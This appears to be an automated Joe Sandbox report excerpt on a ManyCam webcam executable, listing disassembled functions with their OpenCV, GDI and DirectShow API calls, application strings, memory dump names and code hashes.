The matrix of coefficients must be 1-dimensional vector of 3 or 4 elements, xrefs: 0179E123
The matrix of roots must be 1-dimensional vector of 3 elements, xrefs: 0179E173
cvSolveCubic, xrefs: 0179E0DC, 0179E12A, 0179E484, 0179E4A5
.\cxutils.cpp, xrefs: 0179E0CE, 0179E11E, 0179E16E, 0179E475, 0179E496
Input parameter is not a valid matrix, xrefs: 0179E49D

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error
String ID: .\cxutils.cpp$Both matrices should be floating-point (single or double precision)$Input parameter is not a valid matrix$Output parameter is not a valid matrix$The matrix of coefficients must be 1-dimensional vector of 3 or 4 elements$The matrix of roots must be 1-dimensional vector of 3 elements$cvSolveCubic
API String ID: 2619118453-785790621
Opcode ID: 347833541b5b4f093eda4d15eee0e95cdf146bd96a7ef5a8945699c6a5a51588
Instruction ID: 3ea30e20c72398b602b18b5493af1ed5dca2ee11f5b8c0ab35a9d04e4f9e8ce4
Opcode Fuzzy Hash: 347833541b5b4f093eda4d15eee0e95cdf146bd96a7ef5a8945699c6a5a51588
Instruction Fuzzy Hash: 7AD12DB2F04601D7DB16AE14E445599FBB0FB84760F210D8CF5C6662B9FF3289698BC1

Uniqueness

Uniqueness Score: -1.00%

Function 004018D0 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 298COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000FB,cvCylGetModelPosition,Null pointer to tracker context.,.\src\cyltracker.cpp,00000223,?,?,?), ref: 004018F9
cvError.CXCORE099(000000FB,cvCylGetModelPosition,Null pointer to head config structure.,.\src\cyltracker.cpp,00000226,?,?,?), ref: 00401925

Strings

cvCylGetModelPosition, xrefs: 004018F2, 0040191E
Null pointer to head config structure., xrefs: 00401919
Null pointer to tracker context., xrefs: 004018ED
.\src\cyltracker.cpp, xrefs: 004018E8, 00401914

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Error
String ID: .\src\cyltracker.cpp$Null pointer to head config structure.$Null pointer to tracker context.$cvCylGetModelPosition
API String ID: 2619118453-1894096719
Opcode ID: 94b001c55bfdf0bd65362a55d97ec9160b4cac4fd4508785464b6c2c950edd66
Instruction ID: 9f04fb016eb92f5e31f0ef4e1e4ba15881229676976377827f4aa03fecfd0c42
Opcode Fuzzy Hash: 94b001c55bfdf0bd65362a55d97ec9160b4cac4fd4508785464b6c2c950edd66
Instruction Fuzzy Hash: 95C12770609210EFC354AF14D58996ABFB0FF84340F929D98F4E5672A9D730E971CB86

Uniqueness

Uniqueness Score: -1.00%

Function 016FE130 Relevance: 33.5, APIs: 7, Strings: 12, Instructions: 284COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvGetMat,NULL array pointer is passed,.\cxarray.cpp,00000ADB,?,?,?,?), ref: 016FE4BC

Strings

Pixel order should be used with coi == 0, xrefs: 016FE35D
Images with planar data layout should be used with COI selected, xrefs: 016FE222
Only continuous nD arrays are supported here, xrefs: 016FE3E9
.\cxarray.cpp, xrefs: 016FE175, 016FE1A6, 016FE1D8, 016FE21D, 016FE2A4, 016FE2CE, 016FE358, 016FE3C8, 016FE3E4, 016FE490, 016FE4AB
Input array has NULL data pointer, xrefs: 016FE3CD
cvGetMat, xrefs: 016FE1E2, 016FE227, 016FE2AE, 016FE2D8, 016FE362, 016FE3EE, 016FE49A, 016FE4B5
Unrecognized or unsupported array type, xrefs: 016FE495
Inner function failed., xrefs: 016FE2A9
The image is interleaved and has over CV_CN_MAX channels, xrefs: 016FE2D3
NULL array pointer is passed, xrefs: 016FE4B0
The image has NULL data pointer, xrefs: 016FE1AB
The matrix has NULL data pointer, xrefs: 016FE17A

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Error
String ID: .\cxarray.cpp$Images with planar data layout should be used with COI selected$Inner function failed.$Input array has NULL data pointer$NULL array pointer is passed$Only continuous nD arrays are supported here$Pixel order should be used with coi == 0$The image has NULL data pointer$The image is interleaved and has over CV_CN_MAX channels$The matrix has NULL data pointer$Unrecognized or unsupported array type$cvGetMat
API String ID: 2619118453-2064294148
Opcode ID: 316917e7a7a7bfbcb8a82d7c701a73ac8b6a11714adfa7887d2dc577de2b0962
Instruction ID: 18209eff09d6eabd864b6af78c690db6d855cf357b9eb2a1887d38af7de1502d
Opcode Fuzzy Hash: 316917e7a7a7bfbcb8a82d7c701a73ac8b6a11714adfa7887d2dc577de2b0962
Instruction Fuzzy Hash: C69149B1744301AFD718CE09CCA2E3ABB92FBD4710F46826DF6129B3E1D7B1E9018645

Uniqueness

Uniqueness Score: -1.00%

Function 0042B220 Relevance: 33.5, APIs: 11, Strings: 8, Instructions: 278memoryCOMMON

Download Yara Rule

APIs

??0CxImage@@QAE@K@Z.CXIMAGECRT(00000000), ref: 0042B3C2
?CreateFromArray@CxImage@@QAE_NPAEKKKK_N@Z.CXIMAGECRT(?,?,?,00000020,?,00000000,00000000), ref: 0042B3EB
?Resample@CxImage@@QAE_NJJHPAV1@@Z.CXIMAGECRT(00000280,000001E0,00000001,00000000,?,?,?,00000020,?,00000000,00000000), ref: 0042B404
?Save@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(00000000,00000004,?,?,?,00000000,\ManyCam\Drawing_Over_Video.png,00000280,000001E0,00000001,00000000,?,?,?,00000020,?), ref: 0042B472
GetActiveWindow.USER32 ref: 0042B4DD
?Save@CxImage@@QAE_NPB_WK@Z.CXIMAGECRT(?,00000004,?,00000000), ref: 0042B512
wcslen.MSVCR80 ref: 0042B5A9

Part of subcall function 0040EDB0: _DebugHeapAllocator.LIBCPMTD ref: 0040EDE7

_DebugHeapAllocator.LIBCPMTD ref: 0042B5ED

Part of subcall function 004CC090: memset.MSVCR80 ref: 004CC0AE
Part of subcall function 004CC090: memset.MSVCR80 ref: 004CC0CB
Part of subcall function 004CC090: wcscpy.MSVCR80 ref: 004CC0DF
Part of subcall function 004CC090: wcscat.MSVCR80 ref: 004CC0F8
Part of subcall function 004CC090: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 004CC124

??3@YAXPAX@Z.MSVCR80 ref: 0042B63B
??3@YAXPAX@Z.MSVCR80 ref: 0042B653
~_Mpunct.LIBCPMTD ref: 0042B668

Strings

png, xrefs: 0042B4C7
\ManyCam\Drawing_Over_Video.png, xrefs: 0042B413
]T, xrefs: 0042B522
H]T, xrefs: 0042B52C
ManyCam Virtual Webcam, xrefs: 0042B54E
Image file (*.png), xrefs: 0042B4B8
Do you want to open the folder where you saved the image?, xrefs: 0042B553
Drawing_Over_Video.png, xrefs: 0042B4C2

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Image@@$??3@AllocatorCreateDebugHeapSave@memset$ActiveArray@FromMpunctProcessResample@V1@@Windowwcscatwcscpywcslen
String ID: ]T$Do you want to open the folder where you saved the image?$Drawing_Over_Video.png$H]T$Image file (*.png)$ManyCam Virtual Webcam$\ManyCam\Drawing_Over_Video.png$png
API String ID: 1945080177-1026007927
Opcode ID: 3e81cdefd75b1fcdc45fb6f2bb49244f9ee8b77ff06ae858d61c28d867ee4a84
Instruction ID: ec981275a17dfbb414872b9b1b400e900ef69c9b5440b1a82109bcf5bd3e74bc
Opcode Fuzzy Hash: 3e81cdefd75b1fcdc45fb6f2bb49244f9ee8b77ff06ae858d61c28d867ee4a84
Instruction Fuzzy Hash: BDD16AB0D042299FDB14DB64C985BEEBBB1FF44308F1081E9E51967281DB396E84CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0041EFD0 Relevance: 33.5, APIs: 15, Strings: 4, Instructions: 268windowCOMMON

Download Yara Rule

APIs

Part of subcall function 004078E0: GetClientRect.USER32(?,00000000), ref: 004078F1

GetSysColorBrush.USER32(0000000F), ref: 0041F03F
FillRect.USER32(00000000,000000FF,00000000), ref: 0041F053
LoadIconW.USER32(00000000,00000087), ref: 0041F0A1
DrawIconEx.USER32(00000000,0000000A,0000000A,00529873,0000000A,0000000A,00000000,00000000,00000003), ref: 0041F0D3
DeleteObject.GDI32(00529873), ref: 0041F0DD
SetBkMode.GDI32(00000000,00000001), ref: 0041F110
GetTextColor.GDI32(00000000), ref: 0041F11F
SetTextColor.GDI32(00000000,00000000), ref: 0041F130
memset.MSVCR80 ref: 0041F1DA

Part of subcall function 00417240: CreateFontIndirectW.GDI32(00409661), ref: 0041724B

SelectObject.GDI32(00000000,00000000), ref: 0041F21A
memset.MSVCR80 ref: 0041F293
memset.MSVCR80 ref: 0041F2BA
wcslen.MSVCR80 ref: 0041F35E
DrawTextW.USER32(00000000,?,00000000), ref: 0041F385
SelectObject.GDI32(00000000,?), ref: 0041F39D

Strings

This feature requires a special video codec to function properly. Unfortunately, xrefs: 0041F22B
Verdana, xrefs: 0041F1A0
visit the ManyCam website help page , xrefs: 0041F2A0
this codec doesn, xrefs: 0041F27B

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: ColorObjectTextmemset$DrawIconRectSelect$BrushClientCreateDeleteFillFontIndirectLoadModewcslen
String ID: This feature requires a special video codec to function properly. Unfortunately$Verdana$this codec doesn$visit the ManyCam website help page
API String ID: 923866622-1098169901
Opcode ID: 3f31620da8421e62cd21c6cfa0caa7031ff0a88d6dc715023633d5f283328bfa
Instruction ID: 6f95be4a3cc1c25362b5af6b12462e5a34df96a0e09e544e1f1783aa57f49324
Opcode Fuzzy Hash: 3f31620da8421e62cd21c6cfa0caa7031ff0a88d6dc715023633d5f283328bfa
Instruction Fuzzy Hash: 83D1F7B0D002189FDB14DF99DC54BDEBBB8BF58304F1081AAE509AB391DB746A89CF54

Uniqueness

Uniqueness Score: -1.00%

Function 004C8720 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 318COMMON

Download Yara Rule

APIs

Part of subcall function 00438A10: clock.MSVCR80 ref: 00438AA7
Part of subcall function 00438A10: _DebugHeapAllocator.LIBCPMTD ref: 00438AC5

Concurrency::cancellation_token_source::~cancellation_token_source.LIBCPMTD ref: 004C878C
Concurrency::cancellation_token_source::~cancellation_token_source.LIBCPMTD ref: 004C879B
Concurrency::cancellation_token_source::~cancellation_token_source.LIBCPMTD ref: 004C87D2
Concurrency::cancellation_token_source::~cancellation_token_source.LIBCPMTD ref: 004C87E1

Part of subcall function 00438AF0: clock.MSVCR80 ref: 00438B1F

Strings

CManyCamModel::UpdateGraphTopologyOnSourceChange, xrefs: 004C8755

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Concurrency::cancellation_token_source::~cancellation_token_source$clock$AllocatorDebugHeap
String ID: CManyCamModel::UpdateGraphTopologyOnSourceChange
API String ID: 952932671-1321120180
Opcode ID: 0b90ff5f2a21a3f5109c721d4de8bebc9373ba52e13293d6d0797d08fd4d5099
Instruction ID: 10940e179f8bca40d99c735d3df1e6ff842ee16e2e5db1de052c77a05b9f2183
Opcode Fuzzy Hash: 0b90ff5f2a21a3f5109c721d4de8bebc9373ba52e13293d6d0797d08fd4d5099
Instruction Fuzzy Hash: 5BE13E70D04248DECB04EFA5D961BEEBBB0AF15308F10815FF4166B282EF785A45DB99

Uniqueness

Uniqueness Score: -1.00%

Function 016FE4E0 Relevance: 31.7, APIs: 10, Strings: 8, Instructions: 236COMMON

Download Yara Rule

APIs

cvError.CXCORE099(000000E5,cvReshape,017A124F,.\cxarray.cpp,00000C25), ref: 016FE50C

Part of subcall function 01736DF0: cvSetErrStatus.CXCORE099(00000000,00000000,?,016F107F,000000FC,cvAlloc,Out of memory,.\cxalloc.cpp,0000006F), ref: 01736DFD

cvGetMat.CXCORE099(?,?,?,00000001), ref: 016FE53F
cvGetErrStatus.CXCORE099 ref: 016FE549
cvError.CXCORE099(000000FF,cvReshape,Inner function failed.,.\cxarray.cpp,00000C2A), ref: 016FE568

Strings

The total width is not divisible by the new number of channels, xrefs: 016FE72B
The matrix is not continuous, thus its number of rows can not be changed, xrefs: 016FE666
.\cxarray.cpp, xrefs: 016FE4FB, 016FE557, 016FE584, 016FE613, 016FE661, 016FE68D, 016FE6C6, 016FE726
COI is not supported, xrefs: 016FE589
cvReshape, xrefs: 016FE505, 016FE561, 016FE58E, 016FE61D, 016FE66B, 016FE697, 016FE6D0, 016FE730
Inner function failed., xrefs: 016FE55C
Bad new number of rows, xrefs: 016FE692
The total number of matrix elements is not divisible by the new number of rows, xrefs: 016FE6CB

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: ErrorStatus
String ID: .\cxarray.cpp$Bad new number of rows$COI is not supported$Inner function failed.$The matrix is not continuous, thus its number of rows can not be changed$The total number of matrix elements is not divisible by the new number of rows$The total width is not divisible by the new number of channels$cvReshape
API String ID: 1596131371-1083640735
Opcode ID: 365d833bcac25bd5cbcaa44b8bae6b7adfaf2011cad815dda14a4646be67977d
Instruction ID: 7358f75dd637d9e90db5e495009ee10ad5ba277b1d94a91ea7d5bfc853a9b061
Opcode Fuzzy Hash: 365d833bcac25bd5cbcaa44b8bae6b7adfaf2011cad815dda14a4646be67977d
Instruction Fuzzy Hash: A6618AB27453106B97049F5EECA2D1AFBC0EBD4B21F55036EF606AB3D2E372D9408691

Uniqueness

Uniqueness Score: -1.00%

Function 004B2A80 Relevance: 31.7, APIs: 3, Strings: 15, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 004B76D0: fwprintf.MSVCR80 ref: 004B7764
Part of subcall function 004B76D0: fflush.MSVCR80 ref: 004B7774

StringFromGUID2.OLE32()K,?,00000040,)K,0056F910,)K,00574DDC), ref: 004B2C30

Strings

Major type = GUID_NULL, xrefs: 004B2ABD
)K, xrefs: 004B2AB0, 004B2AD6, 004B2B00, 004B2B28, 004B2B54, 004B2B7D, 004B2BAA, 004B2BD5, 004B2BFC, 004B2C29, 004B2C54, 004B2C64, 004B2C6D, 004B2C76, 004B2AB3, 004B2AD9, 004B2B03, 004B2B2E, 004B2B5A, 004B2B83, 004B2BB0, 004B2BDB, 004B2C02, 004B2C2F, 004B2C5A
Major type = MEDIATYPE_Video, xrefs: 004B2AE3
Subtype = %s, xrefs: 004B2BBE
Frame size = %dx%d, xrefs: 004B2CB3
Bit count = %d, xrefs: 004B2C8D
Mediatype info:, xrefs: 004B2A99
vids, xrefs: 004B2AD1
Format type = FORMAT_VideoInfo, xrefs: 004B2C0C
Format type = GUID_NULL, xrefs: 004B2BE5
Subtype = MEDIASUBTYPE_RGB32, xrefs: 004B2B8D
Format type = %s, xrefs: 004B2C3D
Major type = %s, xrefs: 004B2B11
Subtype = GUID_NULL, xrefs: 004B2B38
Subtype = MEDIASUBTYPE_RGB24, xrefs: 004B2B64

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: FromStringfflushfwprintf
String ID: Bit count = %d$Format type = %s$Format type = FORMAT_VideoInfo$Format type = GUID_NULL$Frame size = %dx%d$Major type = %s$Major type = GUID_NULL$Major type = MEDIATYPE_Video$Mediatype info:$Subtype = %s$Subtype = GUID_NULL$Subtype = MEDIASUBTYPE_RGB24$Subtype = MEDIASUBTYPE_RGB32$vids$)K
API String ID: 2684700382-3987823964
Opcode ID: e2d8f3dbb539b25badfc673ac368b6ee49d21c1c39eb2143ec57eff8d32f1992
Instruction ID: 0a30e523ff0296b33be7bff9fb0a9039800934aade4f4bd872009a2dad4e24fd
Opcode Fuzzy Hash: e2d8f3dbb539b25badfc673ac368b6ee49d21c1c39eb2143ec57eff8d32f1992
Instruction Fuzzy Hash: A951C870E5420867DB10AF19DC57EDE3B34BF44705F00841AB908A6283EFB4EA59D7BA

Uniqueness

Uniqueness Score: -1.00%

Function 01736160 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 494memoryCOMMON

Download Yara Rule

APIs

cvGetMat.CXCORE099(?,?,?,00000000), ref: 01736218
cvGetErrStatus.CXCORE099 ref: 01736222
cvGetMat.CXCORE099(?,?,?,00000000), ref: 01736292
cvGetErrStatus.CXCORE099 ref: 0173629D
cvFree_.CXCORE099(?), ref: 01736573
__alloca_probe_16.LIBCMT ref: 0173658F
cvAlloc.CXCORE099(?), ref: 017365AC
cvGetErrStatus.CXCORE099 ref: 017365B7
cvErrorFromIppStatus.CXCORE099(00000000,cvDCT,OpenCV function failed,.\cxdxt.cpp,00000A8B), ref: 017366E5
cvError.CXCORE099(FFFFFF2E,cvDCT,Only 32fC1 and 64fC1 formats are supported,.\cxdxt.cpp,00000A47), ref: 0173672F
cvFree_.CXCORE099(?), ref: 01736761

Strings

Only 32fC1 and 64fC1 formats are supported, xrefs: 01736720
Inner function failed., xrefs: 01736235
OpenCV function failed, xrefs: 017366DA
cvDCT, xrefs: 0173623A, 0173625A, 017362F9, 017366C4, 017366DF, 01736725
.\cxdxt.cpp, xrefs: 01736230, 01736250, 017362EF, 017366BA, 017366D5, 0173671B
Odd-size DCT's are not implemented, xrefs: 017366BF

Memory Dump Source

Source File: 00000002.00000002.2116765574.00000000016F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 016F0000, based on PE: true

Associated: 00000002.00000002.2116752300.00000000016F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116828933.00000000017A1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116854238.00000000017C4000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116873795.00000000017D2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000002.00000002.2116888964.00000000017D4000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_16f0000_ManyCam.jbxd

Similarity

API ID: Status$ErrorFree_$AllocFrom__alloca_probe_16
String ID: .\cxdxt.cpp$Inner function failed.$Odd-size DCT's are not implemented$Only 32fC1 and 64fC1 formats are supported$OpenCV function failed$cvDCT
API String ID: 2153135076-221668188
Opcode ID: 661c1434157c7a2176ddaf21cd7ccc01fec246ca64c50b565a4207fea03132c8
Instruction ID: 78ddc71077930fbf51a8e16b4ef40719d9e3d7e817e0d5f838b6deca1818a5e1
Opcode Fuzzy Hash: 661c1434157c7a2176ddaf21cd7ccc01fec246ca64c50b565a4207fea03132c8
Instruction Fuzzy Hash: 4F127DB1E00219AFDF14CF98C894AAEFBB5BB88714F14816EF515A7246E7709A41CF90

Uniqueness

Uniqueness Score: -1.00%

Function 00402C80 Relevance: 30.2, APIs: 20, Instructions: 174COMMON

Download Yara Rule

APIs

Part of subcall function 00403140: cvCreateImage.CXCORE099(?,?,00000008,00000001,?,00000000,?,0040120F), ref: 00403198
Part of subcall function 00403140: cvCreateImage.CXCORE099(?,?,80000010,00000001,?,00000000,?,0040120F), ref: 004031AF
Part of subcall function 00403140: cvCreateImage.CXCORE099(?,?,80000010,00000001,?,?,?,?,?,00000000,?,0040120F), ref: 004031C7

cvCreateMat.CXCORE099(00000004,00000004,00000005,0040120F), ref: 00402C98
cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,0040120F), ref: 00402CB4
cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,?,?,?,0040120F), ref: 00402CD0
cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,?,?,?,?,?,?,0040120F), ref: 00402CEC
cvCreateMat.CXCORE099(00000004,00000004,00000005,?,?,?,?,?,?,?,?,?,?,?,?,0040120F), ref: 00402D08
cvCreateMat.CXCORE099(00000004,00000004,00000005), ref: 00402D24
cvCreateMat.CXCORE099(00000004,00000004,00000005), ref: 00402D40
cvCreateMat.CXCORE099(00000003,00000004,00000005), ref: 00402D5C
cvCreateMat.CXCORE099(00000003,00000004,00000005), ref: 00402D78
cvCreateMat.CXCORE099(00000004,00000001,00000005), ref: 00402D94
cvCreateMat.CXCORE099(00000004,00000001,00000005), ref: 00402DB0
cvCreateMat.CXCORE099(00000004,00000001,00000005), ref: 00402DCC
cvCreateMat.CXCORE099(00000004,00000001,00000005), ref: 00402DE8
cvCreateMat.CXCORE099(00000003,00000001,00000005), ref: 00402E04
cvCreateMat.CXCORE099(00000006,00000006,00000005), ref: 00402E20
cvCreateMat.CXCORE099(00000006,00000001,00000005), ref: 00402E38
cvCreateMat.CXCORE099(00000006,00000001,00000005), ref: 00402E50
cvCreateMat.CXCORE099(00000004,00000004,00000005), ref: 00402E68
cvCreateMat.CXCORE099(00000004,00000001,00000005), ref: 00402E80
cvCreateMat.CXCORE099(00000004,00000001,00000005), ref: 00402E98

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: Create$Image
String ID:
API String ID: 1237808576-0
Opcode ID: ae6bf935b923b4879af12b20d1e7ba834aac778abf3f025c7bd5bd2a014dc142
Instruction ID: 61334a59a6328505146fa154266dd27d5a2e39e93b606410563eabcbac9550f4
Opcode Fuzzy Hash: ae6bf935b923b4879af12b20d1e7ba834aac778abf3f025c7bd5bd2a014dc142
Instruction Fuzzy Hash: 225106B0A81B027AF67057719E0BB9326912B26B01F050539BB4DB83C6FBF59521CA99

Uniqueness

Uniqueness Score: -1.00%

Function 004B8960 Relevance: 30.1, APIs: 7, Strings: 10, Instructions: 397COMMON

Download Yara Rule

Strings

CManyCamGraphMgr::AddCameraInput, xrefs: 004B8995
Failed to create the graph with hr=%X, xrefs: 004B8C85
Error: camera name is empty., xrefs: 004B89BB
Creating the graph for camera %s, xrefs: 004B8C3E
Creating new entry for camera %s, xrefs: 004B8D86
Destroy the graph for camera %s, xrefs: 004B8B94
Moniker is NULL., xrefs: 004B89FF
Desired frame size is invalid., xrefs: 004B8A49
Graph creation failed with hr=%X, xrefs: 004B8E3F
Such camera is already in the list: %s, xrefs: 004B8AC7

Memory Dump Source

Source File: 00000002.00000002.2116149283.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116135443.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116248796.000000000053B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116298848.0000000000595000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116315164.000000000059B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116342353.000000000059C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116357494.00000000005A4000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ManyCam.jbxd

Similarity

API ID: clock$AllocatorDebugHeapfflushfwprintf
String ID: CManyCamGraphMgr::AddCameraInput$Creating new entry for camera %s$Creating the graph for camera %s$Desired frame size is invalid.$Destroy the graph for camera %s$Error: camera name is empty.$Failed to create the graph with hr=%X$Graph creation failed with hr=%X$Moniker is NULL.$Such camera is already in the list: %s
API String ID: 2739697835-1067953073
Opcode ID: 8320536623643fb9a82ccd93883c4b51503a044c0bfe6443a3796fe1dcf3ba29
